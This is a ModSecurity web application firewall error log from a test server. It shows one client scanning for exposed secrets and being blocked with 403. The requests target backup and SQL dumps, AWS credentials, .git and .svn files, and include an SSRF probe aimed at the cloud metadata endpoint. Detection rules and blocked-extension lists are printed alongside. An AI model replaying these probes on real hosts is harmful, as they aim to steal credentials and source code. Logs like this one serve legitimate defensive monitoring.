[Sun Mar 15 10:46:54.181643 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHJAAAAAA&quot;]
[Sun Mar 15 10:46:54.182024 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHJAAAAAA&quot;]
[Sun Mar 15 10:46:54.182157 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHJAAAAAA&quot;]
[Sun Mar 15 10:46:54.451709 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMAAAAAA&quot;]
[Sun Mar 15 10:46:54.451998 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMAAAAAA&quot;]
[Sun Mar 15 10:46:54.452122 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMAAAAAA&quot;]
[Sun Mar 15 10:46:54.496341 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMgAAAAA&quot;]
[Sun Mar 15 10:46:54.496707 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMgAAAAA&quot;]
[Sun Mar 15 10:46:54.496840 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMgAAAAA&quot;]
[Sun Mar 15 10:46:54.518565 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awc_prod.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMwAAAAA&quot;]
[Sun Mar 15 10:46:54.518951 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awc_prod.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMwAAAAA&quot;]
[Sun Mar 15 10:46:54.519079 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awc_prod.sql&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHMwAAAAA&quot;]
[Sun Mar 15 10:46:54.540937 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.AWS/credentials&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHNAAAAAA&quot;]
[Sun Mar 15 10:46:54.541112 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.AWS/credentials&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHNAAAAAA&quot;]
[Sun Mar 15 10:46:54.541240 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.AWS/credentials&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHNAAAAAA&quot;]
[Sun Mar 15 10:46:54.700156 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHOwAAAAA&quot;]
[Sun Mar 15 10:46:54.700341 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHOwAAAAA&quot;]
[Sun Mar 15 10:46:54.700462 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHOwAAAAA&quot;]
[Sun Mar 15 10:46:54.722558 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPAAAAAA&quot;]
[Sun Mar 15 10:46:54.722734 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPAAAAAA&quot;]
[Sun Mar 15 10:46:54.722857 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPAAAAAA&quot;]
[Sun Mar 15 10:46:54.744788 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPQAAAAA&quot;]
[Sun Mar 15 10:46:54.744987 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPQAAAAA&quot;]
[Sun Mar 15 10:46:54.745110 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPQAAAAA&quot;]
[Sun Mar 15 10:46:54.766890 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPgAAAAA&quot;]
[Sun Mar 15 10:46:54.767055 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPgAAAAA&quot;]
[Sun Mar 15 10:46:54.767177 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHPgAAAAA&quot;]
[Sun Mar 15 10:46:54.811455 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHQAAAAAA&quot;]
[Sun Mar 15 10:46:54.811637 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHQAAAAAA&quot;]
[Sun Mar 15 10:46:54.811759 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHQAAAAAA&quot;]
[Sun Mar 15 10:46:54.856058 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHQgAAAAA&quot;]
